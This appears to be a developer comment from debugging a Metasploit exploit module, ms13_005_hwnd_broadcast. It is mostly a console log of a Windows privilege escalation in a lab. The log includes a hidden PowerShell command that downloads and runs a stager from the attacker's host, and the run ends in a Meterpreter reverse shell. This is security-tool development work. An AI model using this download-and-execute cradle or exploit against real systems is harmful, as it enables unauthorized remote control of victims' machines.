I'm for sure on IE low integrity process :) see screenshot below, just tested deleting the check and it's working smoothly:

```
msf exploit(ms13_005_hwnd_broadcast) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Using URL: http://192.168.172.1:8081/KBjDzppQFxzsmHk
[*] Server started.
msf exploit(ms13_005_hwnd_broadcast) > [*] Running module against WIN-RNJ7NBRK9L7
[*] Spawning Low Integrity Cmd Prompt
[*] Bruteforcing Taskbar Position
[+] Spawned Medium Integrity Cmd Prompt
[*] Broadcasting payload command to prompt... I hope the user is asleep!
powershell.exe -w hidden -nop -ep bypass -c IEX ((new-object net.webclient).downloadstring('http://192.168.172.1:8081/KBjDzppQFxzsmHk'))
[*] Executing command...
[*] 192.168.172.172  ms13_005_hwnd_broadcast - Delivering Payload
[*] Sending stage (751104 bytes) to 192.168.172.172
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.172:49291) at 2013-07-26 09:21:41 -0500

```

Need to dig why it's failing :\